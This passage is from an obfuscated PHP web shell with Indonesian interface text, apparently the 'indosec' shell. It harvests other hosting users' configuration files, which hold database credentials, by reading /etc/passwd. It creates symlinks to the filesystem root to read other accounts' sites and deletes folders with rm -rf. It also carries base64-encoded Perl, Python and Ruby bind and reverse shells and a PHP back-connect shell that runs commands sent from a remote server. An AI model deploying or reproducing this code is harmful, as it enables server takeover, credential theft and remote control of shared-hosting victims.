"/home/{$user_con}/public_html/support/order/includes/iso4217.php" => "Hostbills"); foreach ($grab_config as $config => $nama_config) { $ambil_config = file_get_contents($config); if ($ambil_config == '') { } else { $file_config = fopen("indosec_config/{$user_con}-{$nama_config}.txt", "w"); fputs($file_config, $ambil_config); } } } } goto TbpyU; qn76W: mkdir("indosec_config", 0777); goto Iv9Cc; Iv9Cc: $isi_htc = "Options allnRequire NonenSatisfy Any"; goto rjGk8; rjGk8: $htc = fopen("indosec_config/.htaccess", "w"); goto nao8G; nugCa: $passwd = $_POST["passwd"]; goto qn76W; TbpyU: echo "<p class='text-center'>Success Get Config!!</p>\xd 
\x9	<a href='?dir={$dir}/indosec_config' class='btn btn-success btn-block mb-4'>Click Here</a>"; goto OebPs; QkopM: preg_match_all("/(.*?):x:/", $passwd, $user_config); goto tBTEG; nao8G: fwrite($htc, $isi_htc); goto QkopM; OebPs: } else { echo "<form method='post'> 
\x9	\x9<p class='text-danger'>/etc/passwd error ?  <a href='?dir={$dir}&aksi=passwbypass'>Bypass Here</a></p> 
\xa			<textarea name='passwd' class='form-control' rows='13'>" . file_get_contents("/etc/passwd") . "</textarea><br/>\xd\xa		\x9<input type='submit' class='btn btn-danger btn-block' value='Get Config!!'> 
\x9	</form>"; } exit; } goto CEE4C; cJZq9: function symBypass($dir, $file) { goto VFFiQ; waygV: if (isset($_GET["save"]) and isset($_POST["file"]) or @filesize("passwd.txt") > 0) { goto qoQUK; qoQUK: $cont = stripcslashes($_POST["file"]); goto TsPS9; TsPS9: if (!file_exists("passwd.txt")) { goto jmhkM; i7jiD: fclose($f); goto cUscH; jmhkM: $f = @fopen("passwd.txt", "w"); goto VAVOU; VAVOU: $w = @fwrite($f, $cont); goto i7jiD; cUscH: } goto NsggK; NsggK: if ($w or @filesize("passwd.txt") > 0) { goto JtGCV; sdmIZ: foreach ($fil3 as $f) { goto FI1gJ; YjZib: $user = $u["0"]; goto P6DYd; upT1i: flush(); goto z5zdt; P6DYd: echo "<tr>\xd\xa\x9		\x9	\x9<td class='text-left pl-1'>{$user}</td> 
\x9\x9\x9\x9		<td><a href='{$full}/sym/root/home/{$user}/public_html' target='_blank'>Symlink </a></td>\xd\xa\x9			\x9\x9<td><a href='{$pageFTP}/sym/root/home/{$user}/public_html' target='_blank'>FTP</a></td>\xd\xa	\x9			</tr>"; goto zYUgO; zYUgO: flush(); goto upT1i; FI1gJ: $u = explode(":", $f); goto YjZib; z5zdt: } goto eiKBR; JtGCV: echo "<div class='tmp'> 
\xa	\x9\x9<table width='100%' class='text-center table-responsive mb-4'> 
	\x9	\x9<thead class='bg-info'>\xd\xa	\x9\x9	\x9<th>Users</th> 
	\x9			<th>symlink</th> 
\xa	\x9\x9\x9\x9<th>FTP</th> 
\x9\x9\x9	</thead>"; goto es0zi; es0zi: flush(); goto xFxkq; eiKBR: echo "</tr></table></div>"; goto OMLek; OMLek: die; goto E9haP; xFxkq: $fil3 = file("passwd.txt"); goto sdmIZ; E9haP: } goto qBVqd; qBVqd: } goto fslQi; peSvj: flush(); goto bfqpg; uThZ0: $u = explode("/", $pageFTP); goto G2v3G; B4zfk: exit; goto Xs51z; G2v3G: $pageFTP = str_replace($u[count($u) - 1], '', $pageFTP); goto waygV; DCRtu: $r3ad = @fopen($file, "r"); goto Bytln; fslQi: echo "read /etc/passwd <font color='red'>error ?  </font><a href='?dir=" . $dir . "&aksi=passwbypass'>Bypass Here</a>\xd\xa	<form method='post' action='?dir={$dir}&aksi=sym_bypas&save=1'> 
\x9	<textarea class='form-control' rows='13' name='file'>"; goto UP_ZR; bfqpg: echo "</textarea><br/> 
\x9\x9<input type='submit' class='btn btn-danger btn-block' value='Symlink'/>\xd 
\x9</form>"; goto IV72R; j08gL: $file = "/etc/passwd"; goto DCRtu; Bytln: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } elseif (!$r3ad) { $r3ad = @show_source($file); } elseif (!$r3ad) { $r3ad = @highlight_file($file); } elseif (!$r3ad) { for ($uid = 0; $uid < 1000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "\xa"; } } } goto peSvj; wk2PM: $pageFTP = "ftp://" . $_SERVER["SERVER_NAME"] . "/public_html/" . $_SERVER["REQUEST_URI"]; goto uThZ0; UP_ZR: flush(); goto j08gL; VFFiQ: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto wk2PM; IV72R: flush(); goto B4zfk; Xs51z: } goto ZPGPQ; R6uAn: function deleteFolder($dir, $ndir) { goto X4SNU; bEvdN: exit; goto BrdMD; KJrar: if ($_POST["ya"]) { if (is_dir($dir)) { if (is_writable($dir)) { goto FbZkR; YN2Vv: $swa = "success"; goto yEJg3; yEJg3: $text = "Berhasil Menghapus"; goto YztUu; YztUu: $dir = dirname($dir); goto fQFi9; VBzMw: @exe("rm -rf {$dir}"); goto ip82N; ip82N: @exe("rmdir /s /q {$dir}"); goto YN2Vv; FbZkR: @rmdir($dir); goto VBzMw; fQFi9: swall($swa, $text, $dir); goto Ppq5c; Ppq5c: } else { goto LyLDU; LyLDU: $swa = "error"; goto kjymN; kjymN: $text = "Berhasil Menghapus"; goto gklM9; gklM9: $dir = dirname($dir); goto CrxcZ; CrxcZ: swall($swa, $text, $dir); goto WmrCW; WmrCW: } } } goto bEvdN; X4SNU: echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder'>Rename</a> ]  [ <a href='?dir=" . $dir . "&aksi=hapus_folder' class='active'>Delete</a> ] \xd\xa	<div class='card card-body text-center text-dark mb-4'>\xd 
\x9	<p>Apakah Yakin Menghapus : {$ndir} ?</p> 
\xa		<form method='POST'>\xd\xa\x9	\x9<a class='btn btn-danger btn-block' href='?dir=" . dirname($dir) . "'>Tidak</a>\xd 
	\x9	<input type='submit' name='ya' class='btn btn-success btn-block' value='Ya'>\xd\xa\x9	</form>\xd\xa\x9</div><br/>"; goto KJrar; BrdMD: } goto sZUYH; ojXWH: $ds = @ini_get("disable_functions"); goto pk13s; ZPGPQ: function bcTool($dir, $file) { goto d2Dnb; GSRHx: exit; goto Qx_wV; d2Dnb: echo "<h4 class='text-center mb-4'>Back Connect Tools</h4>\xd\xa	<form method='post'>\xd 
\x9\x9<div class='row'> 
\xa\x9\x9\x9<div class='col-md-10'> 
\xa	\x9		<span>Bind port to /bin/sh [Perl]</span><br/>\xd 
\x9		\x9<label>Port :</label> 
		\x9\x9<div class='form-group input-group mb-4'>\xd\xa\x9\x9\x9\x9\x9<input type='text' name='port' class='form-control' value='6969'>\xd\xa					<input type='submit' name='bpl' class='btn btn-danger form-control' value='Reserve'>\xd\xa				</div>\xd 
\x9	\x9	<h5>Back-Connect</h5>\xd\xa		\x9	<label>Server :</label>\xd 
	\x9\x9	<input type='text' name='server' class='form-control mb-3' placeholder='" . $_SERVER["REMOTE_ADDR"] . "'> 
\xa\x9	\x9	<label>Port :</label> 
\xa	\x9	\x9<div class='form-group input-group mb-4'>\xd 
\x9		\x9\x9<input type='text' name='port' class='form-control' placeholder='443'>\xd\xa		\x9\x9\x9<select class='form-control' name='backconnect'>\xd 
					\x9<option value='perl'>Perl</option>\xd 
\x9\x9\x9	\x9\x9<option value='php'>PHP</option> 
\xa\x9	\x9\x9\x9\x9<option value='python'>Python</option>\xd\xa		\x9\x9\x9	<option value='ruby'>Ruby</option>\xd\xa			\x9	</select> 
				</div> 
\xa\x9		\x9<input type='submit' class='btn btn-danger btn-block' value='Connect'> 
\xa	\x9\x9</div> 
\xa\x9\x9</div>\xd\xa\x9</form>"; goto r26J2; r26J2: if ($_POST["bpl"]) { goto DCA6N; n2sr4: sleep(1); goto qSF3i; DCA6N: $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); goto bPw0A; z7_iB: fwrite($brt, $bp); goto IDOhD; bPw0A: $brt = @fopen("bp.pl", "w"); goto z7_iB; F_Z0t: unlink("bp.pl"); goto LQeWT; qSF3i: echo "<pre class='text-light'>{$out} 
" . exe("ps aux | grep bp.pl") . "</pre>"; goto F_Z0t; IDOhD: $out = exe("perl bp.pl " . $_POST["port"] . " 1>/dev/null 2>&1 &"); goto n2sr4; LQeWT: } goto ciSce; ciSce: if ($_POST["backconnect"] == "perl") { goto ugmVj; ugmVj: $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); goto Vi2Jw; GK0LO: fwrite($plbc, $bc); goto JpgOf; FpZRE: unlink("bc.pl"); goto hiRz8; Vi2Jw: $plbc = @fopen("bc.pl", "w"); goto GK0LO; JpgOf: $out = exe("perl bc.pl " . $_POST["server"] . " " . $_POST["port"] . " 1>/dev/null 2>&1 &"); goto pLN4f; x_XSh: echo "<pre class='text-light'>{$out}\xa" . exe("ps aux | grep bc.pl") . "</pre>"; goto FpZRE; pLN4f: sleep(1); goto x_XSh; hiRz8: } goto qfqDi; qfqDi: if ($_POST["backconnect"] == "python") { goto OEN9k; etW6k: sleep(1); goto g0JT8; mCDL9: $out1 = exe("python bcpyt.py " . $_POST["server"] . " " . $_POST["port"]); goto etW6k; wxJPj: unlink("bcpyt.py"); goto v58sz; mwzSf: $pbcaa = @fopen("bcpyt.py", "w"); goto bUrWv; g0JT8: echo "<pre class='text-light'>{$out1}\xa" . exe("ps aux | grep bcpyt.py") . "</pre>"; goto wxJPj; OEN9k: $becaa = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk="); goto mwzSf; bUrWv: fwrite($pbcaa, $becaa); goto mCDL9; v58sz: } goto xEZou; xEZou: if ($_POST["backconnect"] == "ruby") { goto a_h3O; MjRwe: unlink("bcruby.rb"); goto c9T2W; Psbrc: $out2 = exe("ruby bcruby.rb " . $_POST["server"] . " " . $_POST["port"]); goto nRAYO; EkF89: fwrite($pbcaak, $becaak); goto Psbrc; a_h3O: $becaak = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); goto hBsyz; nRAYO: sleep(1); goto ZlsOK; ZlsOK: echo "<pre class='text-light'>{$out2}\xa" . exe("ps aux | grep bcruby.rb") . "</pre>"; goto MjRwe; hBsyz: $pbcaak = @fopen("bcruby.rb", "w"); goto EkF89; c9T2W: } goto J_DFw; J_DFw: if ($_POST["backconnect"] == "php") { goto Tw9Yb; Gcemz: if ($errno != 0) { echo "<font color='red'>{$errno} : {$errstr}</font>"; } else { if (!$sockfd) { $result = "<p>Unexpected error has occured, connection may have failed.</p>"; } else { goto DDH8h; Se4Lw: fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\xa 
"); goto gwt38; DDH8h: fputs($sockfd, "\xd\xa		\x9 
{#######################################}\xd 
\x9	\x9\xa..:: BackConnect PHP By Con7ext ::..\xd\xa	\x9	\xa{#######################################} 
"); goto Ec470; xp3tA: $len = 1337; goto Se4Lw; cJoBA: @fclose($sockfd); goto wYd1e; gwt38: while (!feof($sockfd)) { $cmdPrompt = "[kuda]#:> "; @fputs($sockfd, $cmdPrompt); $command = fgets($sockfd, $len); @fputs($sockfd, "\xa" . @shell_exec($command) . "\xa 
"); } goto cJoBA; Oq0nF: $time = @Shell_exec("time"); goto xp3tA; EkKpS: $sysinfo = @shell_exec("uname -a"); goto Oq0nF; Ec470: $dir = @shell_exec("pwd"); goto EkKpS; wYd1e: } } goto FYeTE; Tw9Yb: $ip = $_POST["server"]; goto EPDD8; efvND: $sockfd = fsockopen($ip, $port, $errno, $errstr); goto Gcemz; EPDD8: $port = $_POST["port"]; goto efvND; FYeTE: } goto GSRHx; Qx_wV: } goto VuWTN; nXepv: echo "<div id="tab"><table class="text-white mt-1 table-hover table-responsive"> 
\xa	\x9\x9\x9\x9<thead class="bg-info text-center">\xd 
	\x9\x9\x9		<th class="text-left">File/folder</th> 
\xa\x9\x9\x9\x9\x9	<th>Size</th> 
		\x9\x9		<th>Last Modified</th> 
	\x9\x9	\x9\x9<th>Permission</th> 
\xa\x9	\x9		\x9<th>Action</th> 
\x9\x9\x9	\x9</thead>"; goto bwdhM; bwdhM: foreach ($scandir as $dir) { goto TVVRs; TVVRs: $dtime = date("d/m/y G:i", filemtime("{$dir}/{$dirx}")); goto waAzV; waAzV: if (strlen($dir) > 18) { $_dir = substr($dir, 0, 18) . "..."; } else { $_dir = $dir; } goto wBGxc; wBGxc: $_diir = $_dir; goto vaUiW; vaUiW: if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } goto qL8Nx; qL8Nx: echo "<tr class="text-center"> 
\xa	\x9\x9\x9	\x9\x9<td class="pinggir">" . $imgfol . " <a href="?dir=" . $path . "/" . $dir . "">" . $_diir . "</a></td> 
							<td>--</td> 
\xa	\x9\x9\x9	\x9	<td>" . $dtime . "</td> 
\xa\x9	\x9	\x9\x9	<td> 
	\x9\x9	\x9\x9	<a href="?dir=" . $path . "/" . $dir . "&aksi=chmod_dir"> 
"; goto K6xV4; K6xV4: if (is_writable($path . "/" . $dir)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $dir)) { echo "<font color="red">"; } goto lD1Dt; lD1Dt: echo perms($path . "/" . $dir); goto bAU8j; bAU8j: if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "</font></a></td>\xd\xa		\x9\x9\x9		<td><a title="Rename" class="badge badge-success" href="?dir=" . $path . "/" . $dir . "&aksi=rename_folder">&nbsp;<i class="fas fa-pen"></i>&nbsp;</a>&nbsp;&nbsp;<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "/" . $dir . "&aksi=hapus_folder">&nbsp;<i class="fa fa-trash"></i>&nbsp;</a> 
\xa	\x9		\x9\x9	</td> 
		\x9\x9\x9	</tr>"; } goto rJSId; rJSId: } goto J3SOc; m95hV: $scdir = explode("/", $dir); goto pZDoR; SgkPP: function aksiUpload($dir) { echo "<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader"> 
	\x9<div class="card">\xd\xa\x9\x9	<div class="card-body form-group">\xd 
\x9\x9\x9\x9<p class="text-muted">//Multiple Upload</p> 
\x9	\x9\x9<div class="custom-file">\xd\xa	\x9\x9\x9	<input type="file" name="file[]" multiple class="custom-file-input" id="customFile">\xd\xa\x9	\x9\x9\x9<label class="custom-file-label" for="customFile">Choose file</label> 
\xa\x9\x9\x9\x9</div>\xd 
\x9			<input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload"> 
	\x9\x9</div>\xd 
\x9	</div> 
\xa	</form>"; if (isset($_POST["upload"])) { goto wV1YF; qzynU: for ($i = 0; $i < $jumlah; $i++) { $filename = $_FILES["file"]["name"][$i]; $up = @copy($_FILES["file"]["tmp_name"][$i], "{$dir}/" . $filename); } goto NylZK; wV1YF: $jumlah = count($_FILES["file"]["name"]); goto qzynU; NylZK: if ($jumlah < 2) { if ($up) { goto sdfcn; tJwbo: swall($swa, $text, $dir); goto wRd4J; oAHdT: $text = "Berhasil Upload {$filename}"; goto tJwbo; sdfcn: $swa = "success"; goto oAHdT; wRd4J: } else { goto Gl3Sj; Gl3Sj: $swa = "error"; goto zRbvc; sKSLW: swall($swa, $text, $dir); goto wcnAP; zRbvc: $text = "Gagal Upload File"; goto sKSLW; wcnAP: } } else { goto TKtEz; YdeHl: swall($swa, $text, $dir); goto Y_Lqu; TKtEz: $swa = "success"; goto gQpol; gQpol: $text = "Berhasil Upload {$jumlah} File"; goto YdeHl; Y_Lqu: } goto wiMsA; wiMsA: } } goto AjRpV; EeAx4: @set_time_limit(0); goto dMd6a; xj_BI: function aksiSym($dir, $file) { goto XgIj2; XgIj2: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto oWxkG; oWxkG: $d0mains = @file("/etc/named.conf"); goto s9XUh; wOjzZ: if ($d0mains) { goto objZM; eIkZm: foreach ($d0mains as $d0main) { if (eregi("zone", $d0main)) { goto BJ9Dg; Z2FHa: flush(); goto Wzcqi; BJ9Dg: preg_match_all("#zone "(.*)"#", $d0main, $domains); goto Z2FHa; Wzcqi: if (strlen(trim($domains[1][0])) > 2) { goto WODzO; BXza0: $dcount++; goto ZKkES; p2nFe: echo "<tr> 
	\x9\x9		\x9\x9<td>" . $dcount . "</td> 
\xa\x9	\x9	\x9\x9\x9<td class='text-left'><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td>\xd\xa\x9\x9	\x9		\x9<td>" . $user["name"] . "</td> 
	\x9\x9				<td><a href='{$full}/indosec_sym/root/home/" . $user["name"] . "/public_html' target='_blank'>Symlink</a></td> 
\x9			\x9	</tr>"; goto l07m5; WODzO: $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0])); goto p2nFe; l07m5: flush(); goto BXza0; ZKkES: } goto xDcYD; xDcYD: } } goto U3Glk; fqjNH: $file3 = "Options Indexes FollowSymLinks 
\xa		DirectoryIndex indsc.html 
	\x9AddType text/plain php html php5 phtml 
\x9\x9AddHandler text/plain php html php5 phtml 
	\x9Satisfy Any"; goto qbPT9; TW_qm: @fclose($fp3); goto gbZvh; t8kpS: $dcount = 1; goto eIkZm; objZM: @mkdir("indosec_sym", 0777); goto D1RPi; UzTM0: $fw3 = fwrite($fp3, $file3); goto TW_qm; qbPT9: $fp3 = fopen(".htaccess", "w"); goto UzTM0; s_h3k: @exe("ln -s / root"); goto fqjNH; U3Glk: echo "</table></div>"; goto ZS82Z; D1RPi: @chdir("indosec_sym"); goto s_h3k; gbZvh: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ] 
	\x9<div class='tmp'> 
\x9\x9<table class='text-center table-responsive'> 
\x9		<thead class='bg-info'> 
\x9	\x9\x9<th>No.</th> 
\xa	\x9		<th>Domains</th>\xd 
\x9	\x9	<th>Users</th> 
\xa			\x9<th>symlink </th> 
